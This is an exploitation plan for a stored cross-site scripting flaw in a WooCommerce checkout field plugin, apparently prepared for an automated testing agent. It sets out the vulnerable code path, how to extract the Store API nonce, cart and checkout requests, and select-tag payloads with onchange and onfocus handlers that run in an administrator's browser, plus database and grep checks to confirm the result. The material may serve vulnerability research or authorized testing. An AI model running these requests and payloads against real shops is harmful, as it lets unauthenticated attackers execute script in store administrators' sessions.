Exploitation Research Plan: CVE-2026-3231 - Unauthenticated Stored XSS in Checkout Field Editor

1. Vulnerability Summary

The Checkout Field Editor (Checkout Manager) for WooCommerce plugin (up to 2.1.7) contains a stored cross-site scripting (XSS) vulnerability. The flaw exists in how the plugin processes custom radio and checkbox field data submitted via the WooCommerce Block Checkout Store API.

The vulnerability stems from two primary issues:

1. Improper Neutralization: In block/class-thwcfd-block-order-data.php, the method prepare_single_field_data() (inferred from description) escapes input with esc_html() but then immediately decodes it with html_entity_decode() for specific field types (radio and checkboxgroup), effectively nullifying the escaping.
2. Permissive Sanitization: When rendering this data on the admin order page, the plugin uses wp_kses() with a custom allowlist returned by THWCFD_Utils::get_allowed_html(). This allowlist explicitly permits the <select> tag and the onchange event handler, allowing for JavaScript execution.

2. Attack Vector Analysis

• Endpoint: WooCommerce Store API Checkout endpoint: /wp-json/wc/store/v1/checkout
• Action: Unauthenticated checkout submission.
• Vulnerable Parameter: Values within the extensions or additional_fields object corresponding to a custom radio or checkboxgroup field.
• Authentication: None required (Unauthenticated).
• Precondition: A custom field of type radio must be registered and active for the WooCommerce Checkout Block.

3. Code Flow

1. Entry Point: An unauthenticated user submits a checkout request to /wp-json/wc/store/v1/checkout.
2. Processing: WooCommerce Blocks processes the extensions data. The plugin's block integration (likely THWCFD_Block or a related data formatter) handles the custom fields.
3. Vulnerable Transformation: In class-thwcfd-block-order-data.php, the value is passed through prepare_single_field_data().
   • $value = esc_html($value);
   • $value = html_entity_decode($value); (for radio/checkboxgroup types).
4. Storage: The resulting string is stored in the database as order metadata (via update_post_meta).
5. Rendering (Sink): An administrator views the order in the WordPress dashboard.
   • Hook: woocommerce_admin_order_data_after_order_details triggers THWCFD_Block_Order_Data::admin_order_data_after_order_details($order).
   • The code retrieves the stored metadata and generates HTML.
   • Line 115: echo wp_kses($html, THWCFD_Utils::get_allowed_html());
6. Execution: Since get_allowed_html() permits <select onchange="...">, the payload executes in the admin's browser context.

4. Nonce Acquisition Strategy

The WooCommerce Store API requires a specific nonce (X-WC-Store-API-Nonce) for POST requests (like adding to cart or checking out).

1. Initialize Session: Perform a GET request to /wp-json/wc/store/v1/cart.
2. Extract Nonce: The response will include a Nonce header. This value must be sent as X-WC-Store-API-Nonce in subsequent requests.
3. Alternative (Browser Context): If the automated agent is using a browser, the nonce is often available in the frontend headers or can be fetched via:

   // In browser console on a checkout page
   const nonce = document.querySelector('meta[name="wc-store-api-nonce"]')?.content;
   

5. Exploitation Strategy

Step 1: Add Item to Cart

You must have an item in the cart to hit the checkout endpoint.

• URL: /wp-json/wc/store/v1/cart/add-item
• Method: POST
• Headers: Content-Type: application/json
• Body: {"id": <PRODUCT_ID>, "quantity": 1}

Step 2: Perform Checkout with XSS Payload

• URL: /wp-json/wc/store/v1/checkout
• Method: POST
• Headers:
  • Content-Type: application/json
  • X-WC-Store-API-Nonce: <EXTRACTED_NONCE>
• Payload Construction:
  The payload must use the allowed <select> tag with onchange.
  Payload: <select onchange="alert('CVE-2026-3231_XSS')" autofocus><option value="1">1</option><option value="2" selected>2</option></select>
• Body:

  {
    "billing_address": { ... standard details ... },
    "shipping_address": { ... standard details ... },
    "extensions": {
      "thwcfe-block": {
        "custom_radio_field_name": "<select onchange=\"alert(document.domain)\" autofocus><option>1</option><option selected>2</option></select>"
      }
    }
  }
  

  Note: The exact key inside extensions depends on the field name registered.

6. Test Data Setup

1. Active Plugins: WooCommerce + Checkout Field Editor for WooCommerce (2.1.7).
2. WooCommerce Setup: Create a simple product (ID 123).
3. Plugin Configuration:
   • Navigate to WooCommerce -> Checkout Form -> Checkout Block.
   • Add a Radio field to the "Address" or "Additional Info" section.
   • Set Name to xss_radio_field.
   • Enable "Show in Admin Order Details".
4. Page Setup: Ensure the Checkout page is using the WooCommerce Checkout Block (not the shortcode).

7. Expected Results

1. The Store API returns a 200 OK or 201 Created for the checkout.
2. In the database, the order meta for xss_radio_field contains the raw <select> tag.
3. When an admin navigates to wp-admin/post.php?post=<ORDER_ID>&action=edit (or the HPOS equivalent), an alert box appears showing the document domain.

8. Verification Steps

1. Check Meta Storage:

   wp post term list <ORDER_ID> # Or if using HPOS:
   wp db query "SELECT meta_value FROM wp_wc_orders_meta WHERE meta_key='thwcfe-block/xss_radio_field' AND order_id=<ORDER_ID>"
   

2. Verify Admin Rendering: Use the http_request tool to fetch the admin order page and check for the unescaped payload:

   # Check if the onchange attribute exists in the response
   grep "onchange=\"alert" response_body.html
   

9. Alternative Approaches

If the onchange event requires a manual trigger that the admin is unlikely to perform, try leveraging autofocus combined with onfocus if the allowlist is broader than documented:

• Payload: <select onfocus="alert(1)" autofocus>

If the Store API extensions path is blocked, check if the plugin registers the fields under the standard additional_fields path in the Store API request:

{
  "additional_fields": {
    "thwcfe-block/xss_radio_field": "<payload>"
  }
}